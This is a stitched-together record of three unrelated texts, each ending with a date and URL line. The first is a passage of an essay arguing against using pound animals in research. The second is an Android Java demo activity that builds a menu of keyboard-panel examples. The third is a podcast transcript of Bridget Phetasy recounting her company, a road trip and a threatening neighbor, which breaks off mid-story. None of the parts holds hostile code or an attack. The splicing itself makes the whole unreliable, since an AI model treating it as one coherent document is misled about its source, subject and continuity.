The economic factors are straightforward. Many have shown that the use of pound animals is penny-wise and pound-foolish. While these animals are inexpensive in initial purchase price, they require quarantine and veterinary treatment to rid them of the infections and parasites they have acquired on the streets. Quarantine typically lasts for 30 days. The caging space, personnel costs, feeding, and veterinary care are not free. Replacing the animals who die from infections also escalates costs. So while the initial price may be low, the savings are rapidly eroded. This may show up in budgets other than those of the principal investigators, but such costs are nonetheless real and have been well-known for decades.
A memo to personnel using dogs at the University of California at San Francisco Animal Care Facility dated March 22, 1982, reported:
[N]ormally 60-70 percent [of random-source] dogs develop clinical signs of infectious respiratory disease within the first 10-14 days. You may expect a 10-15 percent mortality rate of assigned animals during this conditioning period.
A publication of the National Institutes of Health (NIH publication 72-333) reports:
In addition to altering experiment results, the use of pound dogs may also increase research costs, in spite of the initial low cost of the dog....The cost of the dogs is a minor part of the expense, yet the untimely death of each subject dog escalates the overall cost of experimentation.
The quality of research is another consideration. Animals from shelters often carry diseases. It is entirely unknown what diseases they may have had and what medications, if any, they may have been given. Their ages are unknown. These factors are important in research. Imagine testing a medicine for heart disease in dogs who, unbeknownst to the researcher, had previously had heartworm or cardiac damage from other infections. These factors can destroy experimental results. There is no way researchers can know the histories of these animals. Just as they would never consider using rats from the streets in research, there is no reason to use dogs from this source.
These problems may cause experimental results to be uninterpretable. As a result, more animals are then used in repeat experiments. So rather than save money or animals’ lives, the use of animals from this source often costs more money and more animals’ lives.
It is true that many animals in pounds who are not adopted will be euthanized. But this is certainly not an argument in favor of pound seizure. First, it is precisely those animals who are most adoptable that experimenters tend to choose. They prefer docile, well-socialized, medium-sized animals, precisely the animals likely to be adopted. Second, there is no comparison between humane euthanasia in a shelter and the experience of an animal in a laboratory experiment before being killed. In 1987, Robert Eckstein studied the fate of mongrel dogs in 52 experimental protocols taken randomly from the published literature. The median length of experiments was about 10 days. Thirty-two percent of the experiments lasted longer than one month. The longest in his study lasted five and one-half years. Sixty-six percent of the experiments involved significant pain. Thirteen percent involved severe pain on unanesthetized animals. One in 10 dogs died accidentally in the course of experiments. The conclusion is clear: animals used in experiments suffer far more than those who are humanely euthanized in the shelter.
Some institutions have used animals from pounds in medical education, but this is an area where the use of animals is falling out of favor. The September 1988 issue of Journal of Medical Education reported our national survey of medical schools, which showed that there are now many schools that do not use animals at all in their medical curriculum. The most common use of animals was in physiology classes, but only 53 percent of medical schools use animals for this purpose. Only 25 percent use animals to teach pharmacology, and only 19 percent use them in surgery. The trend is clearly for medical schools to move away from the use of animals in education. The alternatives used at U.S. medical schools are simple: lectures, readings, and the increased use of clinical experience. Computer models, videotapes, and simulator models are helpful as well.
There are often ethical questions regarding the source of subjects for research. It is our judgment that pounds or shelters can never be ethically used as a source of supply. This is because pound seizure forces experimentation interests to conflict with animal control needs.
Animal control is a difficult job in the best of times. Animal control officers must rely on the goodwill of the public if sick, injured, or abandoned animals are to be brought into shelters. People bringing animals into a shelter expect that animals will either be adopted or humanely euthanized. If a person bringing an injured or sick animal into a shelter sees an animal dealer loading animals from the back door of the shelter, the person will very likely turn around and choose not to leave the animal at the facility. When people know that pound seizure is routine, they tend to leave animals on the street. There, animals are likely to breed more litters, carry parasites, or contract diseases such as distemper or rabies, which, in turn, can aggravate public health problems. Studies in New Mexico and Washington, D.C., showed that pound release practices measurably erode public confidence in animal control facilities. A tough job gets even tougher.
But it is not only the public that is discouraged by pound seizure. Management and employees of shelters are adversely affected, as well. In consultations with numerous jurisdictions, we have never seen an effective animal control program in any city or county that permitted pound seizure. Medical researchers should never try to save a few dollars at the expense of an already overburdened animal control system.
Inferior animal control, marked by a lack of public confidence and the ever-present threat of rabies and other diseases spread by uncontrolled animal populations, should not be tolerated by progressive states. Banning pound release is the first step in a modern animal control program.
Having seen many jurisdictions deliberate over this issue, I am well aware that those who favor pound release do so because they fear the encroachment of regulation on research. They should be reminded that it has always been necessary to regulate research. The instances of abuse of human and animal subjects are well-known in the medical community. Just as unethical sources of human subjects are shunned, one should turn away from conducting research at the expense of other public institutions.
There is no doubt that researchers will give examples of experiments that used pound animals. And they will assert that these experiments would be impossible if the cost of animals were to be increased. It has to be remembered that animal costs are always small in comparison with staff salaries, facilities costs, computers, and medical equipment. | 2024-07-07T01:26:51.906118 | https://example.com/article/8970 |
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package com.example.demo;
import android.app.Dialog;
import android.content.Intent;
import android.os.Bundle;
import android.view.Gravity;
import android.view.View;
import android.widget.ExpandableListView;
import android.widget.PopupWindow;
import android.widget.SimpleExpandableListAdapter;
import androidx.annotation.Nullable;
import androidx.appcompat.app.AppCompatActivity;
import androidx.databinding.DataBindingUtil;
import androidx.fragment.app.DialogFragment;
import com.effective.BuildConfig;
import com.effective.R;
import com.effective.databinding.ActivityMainLayoutBinding;
import com.example.demo.anno.ApiContentType;
import com.example.demo.anno.ApiResetType;
import com.example.demo.anno.ChatPageType;
import com.example.demo.scene.api.ContentActivity;
import com.example.demo.scene.api.CusPanelActivity;
import com.example.demo.scene.api.DefaultHeightPanelActivity;
import com.example.demo.scene.api.ResetActivity;
import com.example.demo.scene.chat.ChatActivity;
import com.example.demo.scene.chat.ChatCusContentScrollActivity;
import com.example.demo.scene.chat.ChatDialog;
import com.example.demo.scene.chat.ChatDialogFragment;
import com.example.demo.scene.chat.ChatFragmentActivity;
import com.example.demo.scene.chat.ChatPopupWindow;
import com.example.demo.scene.chat.ChatSuperActivity;
import com.example.demo.scene.feed.FeedActivity;
import com.example.demo.scene.feed.FeedDialogActivity;
import com.example.demo.scene.live.huya.PcHuyaLiveActivity;
import com.example.demo.scene.live.douyin.PhoneDouyinLiveActivity;
import com.example.demo.scene.video.BiliBiliSampleActivity;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
public class MainActivity extends AppCompatActivity{
private ActivityMainLayoutBinding mBinding;
final String activity_title = "聊天场景 Activity实现";
final String activity_1 = "activity 无标题栏";
final String activity_2 = "activity 有标题栏";
final String activity_3 = "activity 自定义标题栏";
final String activity_4 = "activity 有标题栏，状态栏着色";
final String activity_5 = "activity 无标题栏，状态栏透明，不绘制到状态栏";
final String activity_6 = "activity 无标题栏，状态栏透明，绘制到状态栏";
final String fragment_title = "聊天场景 Fragment实现";
final String fragment_1 = "fragment 无标题栏";
final String fragment_2 = "fragment 自定义标题栏";
final String fragment_3 = "fragment 自定义标题栏，状态栏着色";
final String fragment_4 = "fragment 自定义标题栏，状态栏透明";
final String window_title = "聊天场景 other window 实现";
final String window_1 = "DialogFragment";
final String window_2 = "PopupWindow";
final String window_3 = "Dialog";
final String scene_title = "扩展场景";
final String scene_1 = "视频播放(优于b站)";
final String scene_2 = "信息流评论(同微信朋友圈效果)";
// final String scene_2_2 = "信息流评论(同微信朋友圈效果-非dialog)";
final String scene_3 = "PC直播(优于虎牙效果)";
final String scene_4 = "手机直播(优于抖音效果)";
final String scene_5 = "复杂聊天场景";
final String api_content_container_title = "api 内容容器及扩展";
final String api_content_container_1 = "基于 LinearLayout 实现";
final String api_content_container_2 = "基于 RelativeLayout 实现";
final String api_content_container_3 = "基于 FrameLayout 实现";
final String api_content_container_4 = "自定义布局实现";
final String api_define_content_container_scroll_title = "api 内容容器内部布局干预滑动";
final String api_define_content_container_scroll = "内容区域干预子View滑动行为";
final String api_cus_panel_title = "api 面板扩展及默认高度设置";
final String api_cus_panel = "自定义PanelView";
final String api_cus_panel_height = "未获取输入法高度前高度兼容";
final String api_reset_title = "api 自动隐藏软键盘/面板";
final String api_reset_1 = "点击内容容器收起面板(默认处理)";
final String api_reset_2 = "点击空白 View 收起面板";
final String api_reset_3 = "点击原生 RecyclerView 收起面板";
final String api_reset_4 = "点击自定义 RecyclerView 收起面板";
final String api_reset_5 = "关闭点击内容容器收起面板";
final String[] groupStrings = {
activity_title,
fragment_title,
window_title,
scene_title,
api_content_container_title,
api_define_content_container_scroll_title,
api_cus_panel_title,
api_reset_title};
final String[][] childStrings = {
{activity_1,activity_2,activity_3,activity_4,activity_5,activity_6},
{fragment_1,fragment_2,fragment_3,fragment_4},
{window_1,window_2,window_3},
{scene_1,scene_2,scene_3,scene_4,scene_5},
{api_content_container_1,api_content_container_2,api_content_container_3,api_content_container_4},
{api_define_content_container_scroll},
{api_cus_panel,api_cus_panel_height},
{api_reset_1,api_reset_2,api_reset_3,api_reset_4,api_reset_5}
};
@Override
protected void onCreate(@Nullable Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
mBinding = DataBindingUtil.setContentView(this, R.layout.activity_main_layout);
mBinding.version.setText("version : " + BuildConfig.VERSION);
final String TITLE = "TITLE";
List<Map<String, String>> groupData = new ArrayList<Map<String, String>>();
List<List<Map<String, String>>> childData = new ArrayList<List<Map<String, String>>>();
for (int i = 0; i < groupStrings.length; i++) {
Map<String, String> curGroupMap = new HashMap<String, String>();
groupData.add(curGroupMap);
curGroupMap.put(TITLE, groupStrings[i]);
List<Map<String, String>> children = new ArrayList<Map<String, String>>();
for (int j = 0; j < childStrings[i].length; j++) {
Map<String, String> curChildMap = new HashMap<String, String>();
children.add(curChildMap);
curChildMap.put(TITLE, childStrings[i][j]);
}
childData.add(children);
}
SimpleExpandableListAdapter adapter = new SimpleExpandableListAdapter(this, groupData,
R.layout.list_parent_title_layout,
new String[]{TITLE}, new int[]{R.id.title},
childData, R.layout.list_sub_title_layout,
new String[]{TITLE}, new int[]{R.id.title});
mBinding.list.setAdapter(adapter);
mBinding.list.setOnChildClickListener(new ExpandableListView.OnChildClickListener() {
@Override
public boolean onChildClick(ExpandableListView parent, View v, int groupPosition, int childPosition, long id) {
switch (childStrings[groupPosition][childPosition]){
case activity_1:{
ChatActivity.start(MainActivity.this, ChatPageType.DEFAULT);
break;
}
case activity_2:{
ChatActivity.start(MainActivity.this, ChatPageType.TITLE_BAR);
break;
}
case activity_3:{
ChatActivity.start(MainActivity.this, ChatPageType.CUS_TITLE_BAR);
break;
}
case activity_4:{
ChatActivity.start(MainActivity.this, ChatPageType.COLOR_STATUS_BAR);
break;
}
case activity_5:{
ChatActivity.start(MainActivity.this, ChatPageType.TRANSPARENT_STATUS_BAR);
break;
}
case activity_6:{
ChatActivity.start(MainActivity.this, ChatPageType.TRANSPARENT_STATUS_BAR_DRAW_UNDER);
break;
}
case fragment_1:{
ChatFragmentActivity.startFragment(MainActivity.this, ChatPageType.DEFAULT);
break;
}
case fragment_2:{
ChatFragmentActivity.startFragment(MainActivity.this, ChatPageType.TITLE_BAR);
break;
}
case fragment_3:{
ChatFragmentActivity.startFragment(MainActivity.this, ChatPageType.COLOR_STATUS_BAR);
break;
}
case fragment_4:{
ChatFragmentActivity.startFragment(MainActivity.this, ChatPageType.TRANSPARENT_STATUS_BAR);
break;
}
case window_1:{
DialogFragment dialogFragment = new ChatDialogFragment();
dialogFragment.showNow(getSupportFragmentManager(), "dialogFragment");
break;
}
case window_2:{
PopupWindow popupWindow = new ChatPopupWindow(MainActivity.this);
popupWindow.showAtLocation(mBinding.getRoot(), Gravity.NO_GRAVITY, 0, 0);
break;
}
case window_3:{
Dialog dialog = new ChatDialog(MainActivity.this);
dialog.show();
break;
}
case scene_1:{
startActivity(new Intent(MainActivity.this, BiliBiliSampleActivity.class));
break;
}
case scene_2:{
startActivity(new Intent(MainActivity.this, FeedDialogActivity.class));
break;
}
// case scene_2_2:{
// startActivity(new Intent(MainActivity.this, FeedActivity.class));
// break;
// }
case scene_3:{
startActivity(new Intent(MainActivity.this, PcHuyaLiveActivity.class));
break;
}
case scene_4:{
startActivity(new Intent(MainActivity.this, PhoneDouyinLiveActivity.class));
break;
}
case scene_5:{
startActivity(new Intent(MainActivity.this, ChatSuperActivity.class));
break;
}
case api_cus_panel:{
startActivity(new Intent(MainActivity.this, CusPanelActivity.class));
break;
}
case api_cus_panel_height:{
startActivity(new Intent(MainActivity.this, DefaultHeightPanelActivity.class));
break;
}
case api_define_content_container_scroll:{
ChatCusContentScrollActivity.start(MainActivity.this);
break;
}
case api_content_container_1:{
ContentActivity.start(MainActivity.this, ApiContentType.Linear);
break;
}
case api_content_container_2:{
ContentActivity.start(MainActivity.this, ApiContentType.Relative);
break;
}
case api_content_container_3:{
ContentActivity.start(MainActivity.this, ApiContentType.Frame);
break;
}
case api_content_container_4:{
ContentActivity.start(MainActivity.this, ApiContentType.CUS);
break;
}
case api_reset_1:{
ResetActivity.start(MainActivity.this, ApiResetType.ENABLE);
break;
}
case api_reset_2:{
ResetActivity.start(MainActivity.this, ApiResetType.ENABLE_EmptyView);
break;
}
case api_reset_3:{
ResetActivity.start(MainActivity.this, ApiResetType.ENABLE_RecyclerView);
break;
}
case api_reset_4:{
ResetActivity.start(MainActivity.this, ApiResetType.ENABLE_HookActionUpRecyclerview);
break;
}
case api_reset_5:{
ResetActivity.start(MainActivity.this, ApiResetType.DISABLE);
break;
}
}
return true;
}
});
}
}
| 2024-07-17T01:26:51.906118 | https://example.com/article/5998 |
- This is Walk-Ins Welcome
with Bridget Phetasy.
I'm Bridget Phetasy, and you are welcome.
(laughs)
(upbeat music)
You know the drill.
Please subscribe rate, comment, share.
Reach out, tell your
friends, send smoke signals.
Whatever.
We love your feedback and
we wanna hear from you.
This week, Walk-Ins
Welcome is happy to partner
with Follain.
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This week, we're deviating from the normal
Walk-Ins Welcome format,
because a lot of people
have been asking me who I am and what I do
and how I got here and what is Phetasy
and a lot of questions.
So I thought I'd start this new segment
that we'll do occasionally
called Story Hour
with Bridget Phetasy.
Some names have been bleeped
to protect the innocent.
A lot of people have
questions about yours truly,
and my story and journey, and
Maggie, my producing partner
and cousin on this
podcast and also in life,
on scripts and all kinds of
other creative endeavors,
greeting cards, Make Brad
Pitt Great Again hats,
whatever it is, Phetasy Incorporated,
Maggie probably has a behind
the scenes hand in it.
And so she's gonna interview me
and we're gonna tell stories
about how we ended up
here in LA doing this.
Because a large part of
what inspired this podcast
is just the sheer grit and determination
that it's taken me to
even get to the point
where I'm doing this podcast.
I think one of things a
lot of people wanna know
is what is Phetasy?
- Yes, fair question.
- And where the idea came from.
Phetasy's not my last name.
It is now.
But it's a stage name.
But it started as a word
I made up for our company.
As we do when we make
up words for companies.
(both laugh)
Google wasn't a word either, guys.
People are always like, you can't do that.
You can't just make up
a word for a company.
- Google was a word.
What?
It's a number.
It's like some sort of
mathematical term, I think.
- Really?
- Yeah, pretty sure.
- Well, no one knows that.
(both laugh)
Except for you.
And probably lots of other people.
But I didn't know that.
(both laugh)
- But, Phetasy, yes is a word you made up.
And tell us what the
definition is, Bridget.
- Well, it's taken only-
- 15 years.
- 15 short years to nail it down.
It's basically a moment, it's
when parody becomes reality.
The best way to describe it.
So we are living in the age
of Phetasy at this moment,
which is why it's suddenly
become so easy to define.
All of these things always
happened to me in life
that were beyond parody.
They were, it was like,
I used to describe it
as when irony doubles back on
itself and becomes literal.
Which is basically parody becoming reality
and or irony squared.
Which is a little too heady
for the average person
to get their mind around, including me.
- It was always very hard to describe,
but you knew those
moments when you had them.
You would always describe them as
God's laughing at me moments.
- Yeah.
Like it was a moment you look
up at the sky and you're like,
oh come on, really?
This can't be real.
This can't be.
And that can be good and bad.
There are moments in my
life that have been tragic
or tragic things have happened to people
that I know, where it's not ironic.
It's a Phetasy, but like
the dark side of a Phetasy.
Like my friend who
specifically stayed overnight
to avoid drunk drivers, and
was on her way to a class
to help people with addiction,
and got hit by a guy
who had been up all night doing blow,
and killed her.
And not to, like, start
this off on a horrible note,
but that is just an
example of, like, come on.
- Right, it's just too ironic.
- It's like the guy who
fricken started Segway,
Segway-ing off a cliff.
(both laugh)
- Yes, that's a Phetasy.
- I should write a song.
♪ It's like the guy on a Segway ♪
♪ Running off a cliff ♪
(both laugh)
Yeah, so.
That's what that is.
Phetasy was devised as
a name for a company
because my sister and
I, we come from divorce.
My family's, like, many, many Americans
and people all over the world.
Our parents were divorced
and we were always
looking for greeting cards and
none of them ever spoke to us
because they were all for,
they were Hallmark cards.
They're better about it now,
I feel like now it's better.
I still think the market is
there for our greeting cards.
- Yes, we've lists of greeting
cards that we wanna make
and notebooks.
- And many designed already.
- Uh huh.
- So if you wanna fund
our greeting card line
and you're listening to this
and you're a billionaire
and you're like, you know,
this girl's on to something.
I like these two.
They've got moxie.
- Then welcome, friend.
- Please email me.
(both laugh)
Because I have this stuff all ready to go.
I just need someone with a
little bit of business acumen.
- A little bit of start up capital.
- I need an angel investor stat for this.
Anyway, the angel investor was me,
cause I'm an idiot, and
I started Phetasy.com
and I made a bunch of these greeting cards
and they were digital greeting cards.
This was back in 2005, and-
- They were limited addition printings
and then
- and then digital e-cards
that you could send, and they were sweet.
They like, flipped.
They were, what were they called?
- Flash?
- Flash, which is horrible.
But they were awesome
because they actually flipped
and made a noise.
They were really cool but you
know, no one who uses flash,
does anyone use flash anymore?
- Yeah, I think so.
I don't know, I don't know.
- We're old ladies.
(both laugh)
We're 80.
- The internets.
(both laugh)
- Maggie's barely on the
internets and I'm on Twitter
but that's as far in the internets as I go
but I'm still like an 80
year old with technology.
And so started Phetasy,
and it then, (laughs),
I decided in all of my genius
to take Phetasy on a tour.
- Well, there was also t-shirts.
- There were t-shirts, as well.
There will always be t-shirts.
- There were awesome t-shirts.
- Also, an angel investor listening,
we have millions of those ready.
- Ready to go.
- Ideas.
- Waiting to pull the trigger on.
- Someone build us a website.
- Because your website moved to France.
- Oh, God it's so heartbreaking.
That's a long story.
Okay, that's a story we're getting to.
We'll end up with how Phetasy.com,
the original site, ended up
disbanding and moving to France.
That's where we're headed,
so keep us on track Maggie.
- I will try.
- And I was in Rhode
Island and I launched,
I put all the money into this.
- Went into debt.
- Went into debt.
- With no plan.
- No business plan.
Listen, young grasshoppers out
there, and Bridget right now,
doing this again, cause I'm an idiot,
don't go into business
without a business plan.
And so, I did that.
I was, like, 26 years old, or 28, yeah.
- Fresh.
Fresh out of a marriage?
- Fresh out of a marriage, yep.
Yep.
Really fresh out of a marriage.
And then I launched this
website and I was like,
well, and it was the dawn
of social media, too.
So, hence how I became Bridget Phetasy,
was everyone was like,
you gotta get on MySpace,
you gotta get on Facebook, blah blah blah.
And I couldn't get on Facebook
cause I didn't go to college
and so I didn't have a college address.
And I did get on MySpace
and I just figured
since Phetasy was a word I
made up and nobody knew it,
and if I was only going
on social media for,
to brand my company,
that I would just put,
and by the way, this was before
they had pages for brands,
so I couldn't just start a page for,
everyone's so used to all this stuff now,
but we didn't have these things.
And so I just started my personal profile
as Bridget Phetasy,
which kind of functioned
as the business profile.
Also, it was just a way for
me to get the brand out.
- Right.
- And then I went on tour.
I was like, just cause
I'm not a band doesn't,
I was a one-woman brand,
and I took my company,
I was very restless,
and I'm like, well I'm not
gonna wait for the world
to come to me online, I'm gonna
go out and find the world.
It was a disaster (laughs), no.
- Well, you went on tour for six months.
You drove all over the country.
- Jesus, those stories.
In my little Passat with my cousin.
- A different cousin than me.
- Not Maggie.
- I didn't go cause I was
finishing college.
(both laugh)
- We are winners.
- I was like way behind.
(both laugh)
So I had to finish school.
- Maggie had to finish school.
I was like, you gotta finish school.
And then my other cousin
dropped out of school
to come drive around the country with me.
Much to the dismay of my aunt and uncle.
- His parents were not pleased.
- No, no they weren't.
And we started in Rhode
Island and went down,
I was determined to sell
t-shirts (laughs) in Miami
during spring break because
a lot of you youngsters,
won't remember Girls Gone Wild,
but I made about, you know,
hundreds of hundreds of t-shirts
that said, "Daddy Would Be Proud"
in the Girls Gone Wild font.
And I thought they'd be selling
like hot cakes down there.
- Yep.
- Turns out people weren't so amused.
- We made decals for the
Phetasy car (laughs).
- Oh, my God.
- It was branded.
- I still worry that, like, some inmate
found one of those decals
when it fell off my car.
Talk about, like, a Phetasy story.
When he was cleaning the side of the road
and started stalking me
online, just biding his time
waiting to get out of jail and like,
middle of America.
I'll find you Bridget Phetasy,
when I get outta here.
Yeah, we had the Phetasy-mobile.
- You went to Florida and then you went-
- I did, sell t-shirts.
- On the beach.
- Walking up and down
the beach, by the way.
And that's really hard work,
and it's why I always buy stuff
from people because my God,
I would do it for hours,
like hours, like eight
hours and make no money.
And I, you know, started to,
we were partying, I was
drinking at the time,
and doing everything else,
and we were in Miami.
And I was still quite a youngster.
- Yep, yep.
Fresh out of Girls Gone
Wild days yourself.
- Oh, I feel like I was entering
the Girls Gone Wild days, part two.
I was entering
my Renaissance-
- Round two.
- Phase of Girls Gone Wild.
It was like young woman going wild.
And we had friends in Miami.
And there was a lot of raging.
And my other friend from
high school came down
and they were all supposed to be helping
and nobody was, they were all partying.
- Didn't they off to, like,
Fort Lauderdale to party?
- Oh, I was so mad.
And I was like just
angrily selling t-shirts
and then passive aggressively being
pissed off at everybody every night.
- I remember you calling me about that.
You were so upset.
- Yeah, they were all just
raging and I was like,
trying to make some money around here.
- We're supposed to be here to work.
- You guys all promised me
you'd come here to help me work
and they were all just there partying.
Should've been a preview of
all of the coming attractions
of the six months, but lo and behold,
my dumb ass continued on.
- Well, and then, okay.
So you left Florida, and
then you guys just like
roamed around the country.
- Yeah, then we went to-
- You went to different festivals.
- Well, we went to Oklahoma to the farm.
- That's right.
- And then we went to
California and went to,
that's when we volunteered at Coachella.
That was my first Coachella ever, 2006.
And we had to guard these,
like art port-o-potties.
It was nuts.
We were, it was nuts I mean,
sleeping on the grounds and they stunk.
It was crazy.
It was Coachella, when
Coachella was amazing, actually.
And it was really fun.
And then we went to, we were
in Palm Springs for a while
and then we went up to,
oh God, then we went to-
- Santa Cruz and-
- Santa Cruz for Easter.
And I threw this party.
(both laugh)
On Easter where I got a case,
Maggie's cringing right now.
- You threw a, what's the
name of the party, Bridget?
- A Resurrection party.
(both laugh)
It's the resurrection, that's
what we just kept saying.
And I got a case of champagne
and I think a case of vodka.
It was bananas.
- And everyone dressed up as-
- [Both] Biblical characters.
- And my cousin was Jesus,
and I believe I was Mary Magdalene
and we all got black out
drunk, my cousin Jesus,
in particular, and
scared all of the locals
in Santa Cruz when we wandered around
for our evening stroll, wasted, dressed up
like biblical characters
while families were out
after church.
I don't know what we were thinking.
And then we had a bonfire and
(beep) was either jokingly,
or actually, possessed.
- Oh, God.
- Cousin.
And he was like pretending
to speak in tongues
and have, like, a meltdown
and scared all of our cousins.
We have 26 cousins.
- Yes.
- Maggie and I.
Our parents are two of 10.
And so we have cousins everywhere.
So there's cousins, like,
they're all over the country.
- So you guys were visiting
cousins in Santa Cruz.
- Yes.
- Yes.
- And we had to leave the
next morning (laughs).
- Just, like, creep out.
- Like, in the early morning.
And then we headed off to Seattle
and we were trying to get
into Vancouver and couldn't
because they thought we had all of the,
we couldn't get in with the t-shirts,
but they searched my whole
car cause they thought
we had the t-shirts bundled
in white garbage bags,
but they looked like bricks of cocaine,
and they tore my car apart.
They're like, there must
be drugs in this car.
- Sheer idiocy.
(both laugh)
- We bundled them and then
we had them taped with,
(laughs) taped with duct tape.
And it totally looked like drugs.
- And you guys were just like, yeah sure,
we'll cross a border like this.
No problem.
- And they tore the car apart.
I mean, took every, they
were looking everywhere.
They're like, there have to be-
then they were just mad there
wasn't anything in there.
And they made us leave
the t-shirts in America
for us to even get into
Vancouver cause they were like,
well you can't sell things
in Vancouver, blah blah blah.
Then we went to Vancouver, came back,
and then we went to a festival in-
- Oregon?
- No, it was in, it was at
the gorge in Washington state.
And I got kicked out of that festival
because I was selling
t-shirts in the camp grounds
and it was causing such a ruckus.
People were really into
me and these t-shirts
and they were cheering my
name when the rent-a-cops
took me away.
They were like, "Phetasy, Phetasy.
"Set Phetasy free!"
And we got booted and I was so upset
because I really wanted to
see, yeah we had to get,
they took out tickets away.
Queens of the Stone Age was headlining
and that was the only
reason I wanted to be there
other than selling t-shirts.
And I was killing it,
selling the t-shirts,
hence why I got into so much trouble.
So after all these months
of, kind of not making
that much money, I was
finally really cashing in
on my t-shirts, and
then they made me give,
they took my merch, they
took some of my t-shirts,
the ones I had, and then they
booted me out of the festival.
And so then we left there pretty dismayed,
but then we headed down to Utah.
And hung out in Utah
with our friend there,
and that was bananas, cause
he's a bananas friend.
And then we went to Bonnaroo,
and Radiohead was headlining
and Beck, it was a great year.
And that was nuts.
I sold some t-shirts there too,
but I mean mostly at
that point, we were like
ready to murder each other.
And at this point, nothing
had really been getting done.
I was running out of money.
I was maxing out all my credit cards.
Oh, mind you, this was
the height of gas prices
in America, like to this day.
I still don't think they've
ever been as high as they were.
Those specific, exact
months, that I was driving
around America.
It was nuts.
I was just pissing money away.
Not to mention all the money
we were pissing away drinking,
when I look back on it.
And then ended up back
on the farm to recoup,
and I went to Chicago,
we went to Chicago for,
and then my cousin left,
and then my best friend
lived in Chicago, and she drove the final
rest of the way back to
Rhode Island with me.
- And you guys showed up on
my door step as a surprise.
- Oh yeah.
(both laugh)
We didn't tell anyone.
- You just were like, come outside.
- We drove straight through.
We didn't even stop.
- You drove straight through.
Straight through from
Chicago, you at the wheel.
- That's not surprising.
- And (beep) was like,
she wouldn't let me drive.
- I did that to your sister, too.
I drove all the way to
Iowa before your sister
made me pull over and was
like, please let me drive,
you psychopath.
- Yeah, because you just
spent six months on the road
just driving insanely,
so you were used to it.
- Yeah, it was nothing.
I still do it.
I'm pretty convinced I was a
trucker in a past life or two
because I love those 12 hour drives.
I love them.
And America's got great
roads, for the most part.
- So then, Phetasy kind
of fell apart after that.
(both laugh)
Well, the company side of it.
It existed then for years as,
you wrote on the website.
- Well, no.
Remember then I got on Miami Ink.
- Oh, right.
- Because when I was in Miami,
I stupidly was like,
yeah I'll be on Miami Ink
and I think I signed up or sent in a form
and forgot about it,
and then they called me
and they were like, hey
you made it to, like be on,
we want you to be on Miami Ink.
Can you come down here?
- The lost episode.
- Oh my God.
So then I went down to Miami to go,
and I was gonna get my logo
tattooed on my butt.
- The Phetasy logo.
Yep, the Phetasy logo.
- It was gonna be a joke.
I was gonna brand myself.
Get it?
This was pre-Kardashians, everyone.
I know it's not original anymore.
But it was at the time.
And God has always looked out for me.
- Yep.
Because you got down there-
- I got down there and it
was their first day back
from hiatus, they had been, the show,
Miami Ink had been on hiatus,
and the guy who was
supposed to do my tattoo
was so crabby and a psychopath,
and I forget which, I can't even remember
his name right now.
I wrote a whole story about it.
We'll put it up on Patreon
and you'll have to sign up
for my Patreon to read it, (laughs).
But you'll know how it ends anyway.
- Right, because the story went
on Phetasy, on the website.
- Yeah, all these stories
went on Phetasy, by the way.
The ones that were tellable.
Many of them-
- Were not.
- Were not.
- But, so you, what, finish the story.
- So I get down there and he's like,
I'm not doing this design.
Mind you, it's a design he approved.
They have to approve the Phetasy design.
- Well, he was trying
to do it but couldn't
cause the logo, if you've ever seen it,
consists of several
perfect circles, like in-
- Yeah, but he approved the design.
- Right, but then he
was trying to sketch it
and couldn't do it because
there's so many perfect circles.
- Don't you think he would've
fricken figured that out
before I flew down-
- One would think, yes.
- Flew down to Miami.
It's not like they flew me.
I luckily had friends from
when I had just been in Miami
six months earlier, and I
thought it would be good
for marketing, so I was like,
I'll write this trip off
cause I'm an idiot,
and then I get down
there and they're like,
we can't do this, and then
he was like, super crabby.
And kind of an asshole.
And I was like, I don't
want that guy touching me
with a needle, no way.
I don't want that energy near me.
I don't want him touching me.
Luckily, I had been doing tons of yoga
so I was all into like
the whole the energy, no.
I don't want that in me.
The producer came out and apologized
and he was like, don't
you want like a butterfly
on your ankle or something?
I'm like, no.
This is not the whole point,
is for me to get free marketing.
- You were like, I've never had a tattoo.
I've waited this long to get a tattoo,
I want it to be my company logo.
- Yeah.
Thank God.
- Yeah, thank God it didn't work out.
- Thank God.
- And this was after-
- So I walked.
I was like, I'm gonna go for
a walk and think about it.
And then I came back and I was like, no.
They were saying they'd do anything else,
and I was like, no.
This is not why I came down here
and obviously I'm not
supposed to get a tattoo.
So I left, and then went back,
and then it was my best friend's wedding
and we drove to Minnesota.
- To Minnesota and-
- There's a lot of driving.
- For the wedding, then we drove back,
and then I moved to Utah.
- And then I drove you to Utah.
- They you drove me to Utah.
- And then we drove to LA,
cause I had, oh by the way,
I had a storage unit.
I'm like, infamous at this storage place
because I left LA and, I
left LA because oh god,
this is another story.
- Well, you lived in LA when you were 19.
- Yeah, I moved here around
19,20.
- For about a year.
- Yep, and then I lived in the Valley,
moved back to Minnesota,
went to Rhode Island.
Realized I didn't wanna do any of that.
Came back to LA.
Then I was like, I'm
gonna live in the nice,
I'll figure somewhere else to live,
maybe not the Valley, because
maybe that was the problem.
Turns out it was.
- You lived in Santa Monica.
- And I loved my life and I
created a really great life,
however, I just so happened
to have a neighbor.
Okay, so here's what happened.
One day I'm at a barbecue,
and my friend comes over
from our little, it was
totally classic Santa Monica,
little bungalows that they
had from the, you know '60s
or '50s, and there's a
barbecue in a little courtyard,
and my friends like, hey can
I talk to you for a minute?
And he's like, Dagmar,
our neighbor, Dagmar.
(both laugh)
He's like, she was saying
some really weird stuff
to me about you and I'm actually
worried for your safety.
- Oh, God.
Yeah I remember this story.
- I'm 21, guys, living in LA by myself.
And I lived in this little
studio, and my neighbor
was like a paranoid schizophrenic.
- And she, there was
something about Oliver Stone?
- She thought that I was
working for Oliver Stone
and that I was spying
on her for Oliver Stone.
I'm like, oh by the way, Oliver Stone,
or anyone who knows Oliver
Stone, I have a great movie
for you to write, and here it is.
This fricken psychopath used to,
she called my landlords and she would say,
Bridget's leaving messages
in her beer bottles
that she's leaving
outside her door for me.
Like, subliminal messages or something.
And she, there was like, a metal door out
before the wood door, and
she would be slamming on it
at like six in the morning and telling me
that she was gonna kill me.
I had to call the police once.
And they came and they went,
come to my door laughing,
and they're like, whoa,
you've got a piece of work
over there.
I was like, thanks guys,
she's threatening to kill me
all the time, what can I do?
- Yeah, she's scary.
- And they said, I don't
know, call your landlord.
Like you really can't
get a restraining order.
She lives, like 600 feet away from you.
And they told me that she
said that I had come into
her apartment and bugged it and I had left
kisses on her walls.
Like, I guess there was
lipstick all over her walls.
- Which she probably did
in some sort of blackout.
